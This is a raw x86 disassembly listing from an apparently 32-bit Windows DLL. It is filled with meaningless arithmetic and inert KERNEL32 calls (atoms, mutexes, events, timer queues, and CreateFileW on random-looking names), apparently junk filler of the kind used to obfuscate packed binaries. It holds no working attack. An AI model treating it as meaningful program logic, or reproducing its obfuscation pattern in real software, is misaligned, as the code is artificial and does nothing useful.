movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x11f], cl
mov cl, byte [ebp - 0x29f]
mov byte [0x100b80ef], cl
lea edx, [ebp - 0x271]
mov dword [ebp - 0x4080], edx
mov eax, dword [ebp - 0x3f44]
mov ecx, dword [ebp - 0x3478]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3e24], edx
movzx eax, word [ebp - 0x1204]
imul ecx, eax, 0xaa3
mov edx, dword [0x100ba33c]
mov word [edx], cx
movsx eax, word [ebp - 0xbd8]
mov ecx, dword [0x100b971c]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3c70]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3ab0], eax
mov edx, dword [ebp - 0x2be8]
mov dword [ebp - 0x4084], edx
movzx eax, byte [ebp - 0x27f]
mov ecx, dword [0x100ba380]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9bc4]
mov byte [ecx], al
mov edx, dword [ebp - 0x36d0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c54]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x43], al
mov eax, dword [0x100ba028]
and eax, dword [ebp - 0x36b0]
mov dword [ebp - 0x2d00], eax
mov ecx, dword [ebp - 0x39c8]
mov dx, word [ecx]
mov word [0x100ba598], dx
mov ax, word [ebp - 0x1278]
mov word [ebp - 0x1400], ax
movzx ecx, word [ebp - 0x1350]
movzx edx, word [0x100b71cc]
imul ecx, edx
mov eax, dword [ebp - 0x3ae8]
mov word [eax], cx
push 0x100ba59c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba194], eax
lea ecx, [ebp - 0x279]
mov dword [0x100ba5b4], ecx
push 0x225a
mov edx, dword [ebp - 0x3ab4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9680], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4088], eax
mov eax, dword [ebp - 0x2c7c]
sub eax, dword [ebp - 0x3098]
mov dword [ebp - 0x2cb8], eax
mov ecx, dword [ebp - 0x37f4]
mov edx, dword [ecx]
mov ecx, dword [0x100b9dd4]
shl edx, cl
mov eax, dword [ebp - 0x404c]
mov dword [eax], edx
movsx edx, byte [0x100b7f0b]
mov eax, dword [ebp - 0x3c10]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100ba034]
mov byte [ecx], dl
mov dx, word [ebp - 0x1150]
mov word [ebp - 0x1404], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba5b8], eax
mov eax, dword [ebp - 0x3724]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3ed8]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x12b0], cx
movsx ecx, byte [0x100b7e73]
movsx edx, byte [ebp - 0x1c9]
and ecx, edx
mov eax, dword [0x100ba2d4]
mov byte [eax], cl
lea ecx, [ebp - 0x99]
mov dword [ebp - 0x408c], ecx
mov edx, dword [ebp - 0x36b4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4090], eax
push str.o_MCBwaXF_QWjKF
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba554], ax
mov eax, dword [ebp - 0x3e14]
mov ecx, dword [ebp - 0x37ac]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x3944], edx
mov eax, dword [ebp - 0x2b3c]
or eax, dword [0x100ba028]
mov dword [0x100b7310], eax
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x4094], ecx
push str.YegH_zRWoG5e.j
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba5bc], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4098], eax
mov edx, dword [0x100b9edc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xfd0]
shl eax, cl
mov word [ebp - 0x61c], ax
push 0
push 0x80
push 1
push 0
push 8
push 0x40000000
push str.JdT0PGMIx3N44EuL2YP6U
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba5c0], eax
movsx edx, word [ebp - 0x698]
movsx ecx, word [0x100b7270]
sar edx, cl
mov word [0x100ba574], dx
lea eax, [ebp - 0x3e]
mov dword [ebp - 0x409c], eax
mov ecx, dword [ebp - 0x2ba8]
add ecx, dword [ebp - 0x2d00]
mov dword [ebp - 0x2c60], ecx
push 0x10d3
push 0
lea edx, [ebp - 0x3b50]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x40a0], eax
mov eax, dword [ebp - 0x3dd0]
mov cx, word [eax]
mov word [0x100ba5c4], cx
movzx edx, word [0x100b9970]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba19c], ax
mov eax, dword [ebp - 0x3f50]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x38e4]
mov edx, dword [ebp - 0x3848]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3ab0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba5c8], eax
mov eax, dword [0x100ba124]
movsx ecx, byte [eax]
mov edx, dword [0x100ba11c]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x22d], cl
mov ecx, dword [ebp - 0x3840]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3cb0]
movsx ecx, word [eax]
xor edx, ecx
mov word [0x100ba128], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x40a4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x39bc], eax
push 0x100a63a0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba5cc], ax
mov edx, dword [ebp - 0x3658]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xa7]
xor eax, ecx
mov edx, dword [ebp - 0x3884]
mov byte [edx], al
mov eax, dword [0x100b9584]
mov ecx, dword [eax]
mov dword [ebp - 0x40a8], ecx
mov edx, dword [ebp - 0x35f4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x38dc]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b721a], al
movzx eax, word [ebp - 0x8f8]
mov ecx, dword [ebp - 0x3fe8]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x11c0], ax
mov dword [ebp - 0x40ac], 0x100b7224
lea eax, [ebp - 0x326c]
mov dword [0x100ba5d0], eax
push 0x959
push 0
push 0x100b99a8
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x40b0], eax
push 2
lea ecx, [ebp - 0x9824]
push ecx
mov edx, dword [0x100b9d24]
push edx
mov eax, dword [0x100b9d20]
push eax
mov ecx, dword [ebp - 0x3f80]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba5d4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba5d8], eax
push 0
push 0x400
push 3
push 0
push 1
push 0xc0000000
push str.q8m_fVVcEcsw3Kl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40b4], eax
movsx edx, word [0x100b7254]
movsx eax, word [ebp - 0x5c4]
or edx, eax
mov word [ebp - 0x540], dx
mov ecx, dword [ebp - 0x33f4]
movzx edx, byte [ecx]
mov eax, dword [0x100b9660]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2b1], dl
mov ecx, dword [ebp - 0x35b8]
mov edx, dword [ebp - 0x2d10]
mov ecx, dword [ecx]
sar edx, cl
mov dword [0x100b72f8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9ab0], eax
lea eax, [ebp - 0x1ab]
mov dword [ebp - 0x40b8], eax
push 0x2f28
push 0x3954
push 0x1938
push 0x264f
mov ecx, dword [ebp - 0x3b70]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100ba01c], eax
mov edx, dword [ebp - 0x3930]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3a44]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x11dc], ax
mov eax, dword [ebp - 0x35ec]
mov cx, word [eax]
mov word [0x100ba5dc], cx
mov edx, dword [ebp - 0x3e98]
mov al, byte [edx]
mov byte [ebp - 0x2b8], al
push 0
push 0x100ba188
mov ecx, dword [ebp - 0x9848]
push ecx
mov edx, dword [ebp - 0x984c]
push edx
mov eax, dword [ebp - 0x400c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba5e0], eax
mov ecx, dword [0x100b9fb4]
mov edx, dword [ebp - 0x3418]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [0x100b727c], eax
mov ecx, dword [ebp - 0x3c4c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3988]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1214], dx
movzx edx, byte [ebp - 0x27c]
mov eax, dword [ebp - 0x3cf0]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x4d], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x40bc], eax
mov edx, dword [ebp - 0x3748]
and edx, dword [ebp - 0x3dc4]
mov dword [0x100ba1a8], edx
mov eax, dword [ebp - 0x3644]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x11cc]
sar edx, cl
mov word [ebp - 0x1168], dx
mov eax, dword [ebp - 0x3910]
mov ecx, dword [ebp - 0x3ae0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3ed4]
mov dword [eax], edx
movsx ecx, word [ebp - 0x608]
movsx edx, word [0x100b7220]
or ecx, edx
mov word [0x100b7314], cx
mov eax, dword [ebp - 0x385c]
mov ecx, dword [ebp - 0x3730]
add ecx, dword [eax]
mov dword [ebp - 0x2f6c], ecx
mov edx, dword [0x100ba2cc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3bb0]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x291], al
lea eax, [ebp - 0x88]
mov dword [0x100ba5e4], eax
mov dword [ebp - 0x40c0], 0x100b7f27
mov ecx, dword [ebp - 0x2f40]
mov dword [ebp - 0x40c4], ecx
movzx edx, byte [ebp - 0x265]
movzx ecx, byte [ebp - 0x26b]
sar edx, cl
mov eax, dword [0x100ba3d8]
mov byte [eax], dl
movsx ecx, word [ebp - 0x5a0]
mov edx, dword [ebp - 0x3be8]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x56c], cx
lea ecx, [ebp - 0x8d0]
mov dword [ebp - 0x40c8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9900], eax
mov edx, dword [ebp - 0x3d60]
mov eax, dword [ebp - 0x3028]
sub eax, dword [edx]
mov ecx, dword [0x100b9b10]
mov dword [ecx], eax
push 0x192c
mov edx, dword [ebp - 0x3c3c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba5e8], eax
mov eax, dword [ebp - 0x38dc]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xbc]
shl edx, cl
mov eax, dword [ebp - 0x381c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2dd4]
or ecx, dword [ebp - 0x2d38]
mov edx, dword [ebp - 0x3a64]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x40cc], eax
mov eax, dword [0x100ba424]
mov cl, byte [eax]
mov byte [0x100b80fa], cl
lea edx, [ebp - 0x5a4]
mov dword [ebp - 0x40d0], edx
mov eax, dword [ebp - 0x3ae4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3e18]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x370c]
mov word [edx], cx
movsx eax, byte [0x100b71fe]
mov ecx, dword [ebp - 0x372c]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100b9b5c]
mov byte [ecx], al
lea edx, [ebp - 0x8a8]
mov dword [ebp - 0x40d4], edx
lea eax, [ebp - 0x3fdc]
mov dword [ebp - 0x40d8], eax
lea ecx, [ebp - 0xaf30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba5ec], eax
mov edx, dword [0x100b9e58]
imul eax, dword [edx], 0x6675
mov dword [0x100b7318], eax
mov ecx, dword [ebp - 0x3d2c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x2b1]
sar edx, cl
mov byte [ebp - 0x2ac], dl
mov eax, dword [ebp - 0x3710]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4020]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x528], cx
movsx edx, byte [0x100b714a]
movsx ecx, byte [0x100b716a]
shl edx, cl
mov byte [0x100b8093], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b98ec], eax
push 2
lea eax, [ebp - 0x984c]
push eax
mov ecx, dword [0x100b9814]
push ecx
mov edx, dword [0x100b9810]
push edx
mov eax, dword [ebp - 0x3a08]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x40dc], eax
push 0x100ba5f0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x20
push 4
push 0
push 1
push 0x80000000
push str.It7Atpq5byYWaTrcnxBa5RqrJi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40e0], eax
movzx ecx, word [ebp - 0x1200]
movzx edx, word [ebp - 0xa10]
add ecx, edx
mov word [ebp - 0x1100], cx
lea eax, [ebp - 0x2d38]
mov dword [ebp - 0x40e4], eax
mov ecx, dword [ebp - 0x4084]
mov dword [0x100ba614], ecx
movzx edx, byte [ebp - 0x247]
movzx eax, byte [ebp - 0x46]
and edx, eax
mov byte [ebp - 0x288], dl
mov ecx, dword [0x100b9d5c]
mov dl, byte [ecx]
mov byte [ebp - 0x2b9], dl
push 0
push 2
push 5
push 0
push 8
push 0x40000000
push str.suSV7K0YGf6NCb0yL
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba618], eax
movzx eax, word [ebp - 0x12d4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9f58], ax
lea ecx, [ebp - 0x1390]
mov dword [0x100ba61c], ecx
movzx edx, word [ebp - 0x97c]
movzx eax, word [ebp - 0x11f8]
or edx, eax
mov ecx, dword [ebp - 0x3eb0]
mov word [ecx], dx
mov edx, dword [ebp - 0x39e8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2f40]
mov dword [ebp - 0x33b4], eax
movsx edx, byte [ebp - 0x295]
mov eax, dword [ebp - 0x40b8]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100ba364]
mov byte [ecx], dl
lea edx, [ebp - 0x2ad]
mov dword [ebp - 0x40e8], edx
movzx eax, word [ebp - 0x137c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba2c0], ax
mov ecx, dword [0x100b952c]
mov edx, dword [ebp - 0x377c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2ee0], eax
mov ecx, dword [ebp - 0x3bdc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x39a8]
movzx ecx, word [eax]
add edx, ecx
mov word [0x100ba38c], dx
movsx edx, word [ebp - 0xedc]
mov eax, dword [ebp - 0x3ac0]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1348], dx
mov edx, dword [ebp - 0x3cbc]
mov eax, dword [ebp - 0x3958]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3d64]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4080]
movsx eax, byte [edx]
movsx ecx, byte [0x100b719a]
shl eax, cl
mov byte [0x100b721b], al
mov ecx, dword [ebp - 0x33e4]
mov dl, byte [ecx]
mov byte [ebp - 0x2ba], dl
lea eax, [ebp - 0x648]
mov dword [ebp - 0x40ec], eax
movzx ecx, word [ebp - 0x4d8]
mov edx, dword [0x100ba3ac]
movzx eax, word [edx]
imul ecx, eax
mov word [0x100b731c], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba620], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x40f0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9b20], eax
mov ecx, dword [0x100b9ea8]
mov edx, dword [ebp - 0x2c7c]
xor edx, dword [ecx]
mov dword [ebp - 0x3e04], edx
movsx eax, word [0x100b7240]
movsx ecx, word [ebp - 0x1194]
or eax, ecx
mov word [ebp - 0x1248], ax
mov edx, dword [ebp - 0x33e8]
mov eax, dword [ebp - 0x2d84]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [0x100b96f4]
mov dword [ecx], eax
lea edx, [ebp - 0xef]
mov dword [ebp - 0x40f4], edx
push str.kvI7_TKzA3P_b9T5U
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1408], ax
mov eax, dword [0x100b9904]
movzx ecx, byte [eax]
movzx edx, byte [0x100b71ce]
add ecx, edx
mov eax, dword [0x100ba394]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3b04]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3f40]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3918]
mov word [eax], dx
lea ecx, [ebp - 0x2c60]
mov dword [ebp - 0x40f8], ecx
lea edx, [ebp - 0x3324]
mov dword [0x100ba624], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3c34], eax
mov eax, dword [0x100b9780]
mov cx, word [eax]
mov word [ebp - 0x140c], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba628], eax
mov edx, dword [0x100b9a24]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c88]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3f88]
mov byte [edx], al
mov eax, dword [ebp - 0x408c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3bb0]
movzx eax, byte [edx]
xor ecx, eax
mov byte [0x100b71ba], cl
movzx ecx, word [0x100b9800]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1410], ax
movzx edx, word [ebp - 0x12e0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba62c], ax
movsx eax, byte [ebp - 0x29d]
mov ecx, dword [ebp - 0x3b80]
movsx ecx, byte [ecx]
cdq
idiv ecx
mov byte [ebp - 0x29c], al
lea edx, [ebp - 0x3780]
mov dword [ebp - 0x40fc], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba630], eax
mov eax, dword [0x100ba33c]
mov cx, word [eax]
mov word [0x100ba634], cx
movsx edx, word [ebp - 0xfc4]
movsx eax, word [ebp - 0x1374]
add edx, eax
mov word [ebp - 0x1130], dx
push 2
lea ecx, [ebp - 0x983c]
push ecx
mov edx, dword [ebp - 0x9850]
push edx
mov eax, dword [ebp - 0x9854]
push eax
mov ecx, dword [ebp - 0x380c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9e54], eax
lea edx, [ebp - 0x2bf4]
mov dword [ebp - 0x4100], edx
movzx eax, byte [ebp - 0x21a]
mov ecx, dword [0x100b9be4]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b718b], al
lea edx, [ebp - 0x80]
mov dword [ebp - 0x4104], edx
mov eax, dword [0x100ba17c]
mov ecx, dword [ebp - 0x36a8]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x37b0], edx
push str.VwbY_qMf_ArjXhn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba638], ax
push 0x100a6474
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9ec8], ax
push 0
push 0x27b0
push 0x3254
push 0x3d9f
push 1
mov eax, dword [ebp - 0x3844]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba63c], eax
mov cx, word [0x100b9ccc]
mov word [0x100ba640], cx
movsx edx, word [ebp - 0x1390]
mov eax, dword [ebp - 0x3e9c]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3ce4]
mov word [eax], dx
push 0x100a647c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1414], ax
mov dword [ebp - 0x4108], 0x5fca
push 0xa02
mov ecx, dword [0x100b9d6c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x36a0], eax
mov edx, dword [ebp - 0x3bdc]
movzx eax, word [edx]
imul ecx, eax, 0xf0d
mov word [ebp - 0x834], cx
push 0x3d94
push 0x2a62
push 0x3c43
push 0x558
mov edx, dword [0x100ba338]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x410c], eax
movzx eax, byte [ebp - 0x256]
movzx ecx, byte [ebp - 0x2ac]
xor eax, ecx
mov edx, dword [0x100b9bec]
mov byte [edx], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4110], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba644], eax
movzx eax, word [ebp - 0x1284]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba648], ax
push 0x121
push 0
push 0x100b94fc
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4114], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3ddc], eax
mov ecx, dword [0x100b72c8]
sub ecx, dword [ebp - 0x2bf4]
mov edx, dword [ebp - 0x3fe0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3a8c]
mov ecx, dword [eax]
mov dword [ebp - 0x4118], ecx
lea edx, [ebp - 0x293]
mov dword [0x100ba64c], edx
movzx eax, word [ebp - 0x139c]
movzx ecx, word [ebp - 0x1264]
shl eax, cl
mov word [ebp - 0x1158], ax
lea ecx, [ebp - 0xca8]
mov dword [ebp - 0x411c], ecx
mov edx, dword [ebp - 0x3f88]
movsx eax, byte [edx]
movsx ecx, byte [0x100b71d7]
add eax, ecx
mov byte [0x100b802e], al
movzx edx, byte [ebp - 0x284]
movzx ecx, byte [0x100b7ff3]
sar edx, cl
mov byte [ebp - 0x99], dl
lea eax, [ebp - 0x4084]
mov dword [ebp - 0x4120], eax
push 2
lea ecx, [ebp - 0x984c]
push ecx
mov edx, dword [0x100ba654]
push edx
mov eax, dword [0x100ba650]
push eax
mov ecx, dword [0x100ba338]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4124], eax
lea edx, [ebp - 0x3f6c]
mov dword [0x100ba658], edx
lea eax, [ebp - 0x270]
mov dword [ebp - 0x4128], eax
mov ecx, dword [0x100ba530]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3e54]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x11a0], dx
movsx edx, word [ebp - 0x1390]
mov eax, dword [0x100b9c34]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [0x100b9508]
mov word [eax], dx
push str.A6a_J
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba65c], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9900], eax
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x409c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x37e8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x38d4]
mov edx, dword [ebp - 0x3108]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2fd8], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3ff8], eax
movzx eax, word [0x100b7228]
movzx ecx, word [ebp - 0xf60]
and eax, ecx
mov word [0x100b7320], ax
mov edx, dword [0x100ba614]
mov ecx, dword [0x100b99c0]
shr edx, cl
mov eax, dword [ebp - 0x3d24]
mov dword [eax], edx
push 0
push 0x100
push 5
push 0
push 4
push 0x80000000
push str.vBy1CsEK8vJD9oXzh5HOm9xOIvLY0b9k
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba660], eax
mov ecx, dword [ebp - 0x3b10]
movsx edx, byte [ecx]
movsx eax, byte [0x100b71c7]
xor edx, eax
mov byte [ebp - 0x1be], dl
movsx ecx, word [ebp - 0xdfc]
mov edx, dword [ebp - 0x38f0]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [0x100b9828]
mov word [edx], cx
lea eax, [ebp - 0x2b5]
mov dword [ebp - 0x412c], eax
mov ecx, dword [ebp - 0x3068]
add ecx, dword [ebp - 0x40c4]
mov dword [ebp - 0x3d54], ecx
movsx edx, byte [str._AaV]
mov eax, dword [ebp - 0x36d0]
movsx ecx, byte [eax]
or edx, ecx
mov byte [0x100b721e], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4130], eax
movzx edx, word [ebp - 0x1020]
movzx eax, word [0x100b94f8]
and edx, eax
mov ecx, dword [ebp - 0x35fc]
mov word [ecx], dx
lea edx, [ebp - 0x12fc]
mov dword [ebp - 0x4134], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba504], eax
mov eax, dword [ebp - 0x2cb0]
sub eax, dword [ebp - 0x3a88]
mov dword [0x100ba614], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4018], eax
mov dword [ebp - 0x4138], 0x100b71fc
mov ecx, dword [0x100b9808]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x2ba]
shl edx, cl
mov byte [ebp - 0x4d], dl
push 0x100ba4b4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3cb4]
mov ecx, dword [eax]
mov dword [0x100ba664], ecx
mov edx, dword [ebp - 0x3b88]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2a9]
sar eax, cl
mov ecx, dword [ebp - 0x3978]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x413c], eax
mov dx, word [ebp - 0x139c]
mov word [ebp - 0x1418], dx
mov eax, dword [0x100b9c5c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1158]
add ecx, edx
mov word [0x100b9984], cx
mov al, byte [0x100b71f6]
mov byte [ebp - 0x2bb], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ddc], eax
lea ecx, [ebp - 0x2e1c]
mov dword [0x100ba668], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba66c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e44], eax
mov edx, dword [0x100ba354]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xfc4]
and eax, ecx
mov edx, dword [ebp - 0x3988]
mov word [edx], ax
lea eax, [ebp - 0xb098]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ddc], eax
movzx ecx, byte [ebp - 0x2aa]
movzx edx, byte [ebp - 0x297]
xor ecx, edx
mov byte [ebp - 0x41], cl
mov eax, dword [ebp - 0x38e8]
mov dword [0x100ba670], eax
mov ecx, dword [ebp - 0x3c44]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1330]
or edx, eax
mov ecx, dword [ebp - 0x33dc]
mov word [ecx], dx
mov edx, dword [0x100ba010]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3f60]
shl eax, cl
mov ecx, dword [ebp - 0x3cf8]
mov dword [ecx], eax
movsx edx, word [0x100b7314]
movsx ecx, word [ebp - 0x140c]
sar edx, cl
mov word [0x100b94f4], dx
mov dword [ebp - 0x4140], 0x100b72d0
mov dword [ebp - 0x4144], 0x100b7192
movsx eax, byte [ebp - 0x11f]
movsx ecx, byte [0x100b71ef]
add eax, ecx
mov edx, dword [0x100ba364]
mov byte [edx], al
mov eax, dword [ebp - 0x3e98]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x120]
and ecx, edx
mov byte [ebp - 0x229], cl
mov eax, dword [ebp - 0x2de8]
xor eax, dword [ebp - 0x3780]
mov ecx, dword [ebp - 0x3630]
mov dword [ecx], eax
push 0
push 0x20
push 5
push 0
push 2
push 0x40000000
push str.t9ba2httodT4Xr16M0z9m_bE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba674], eax
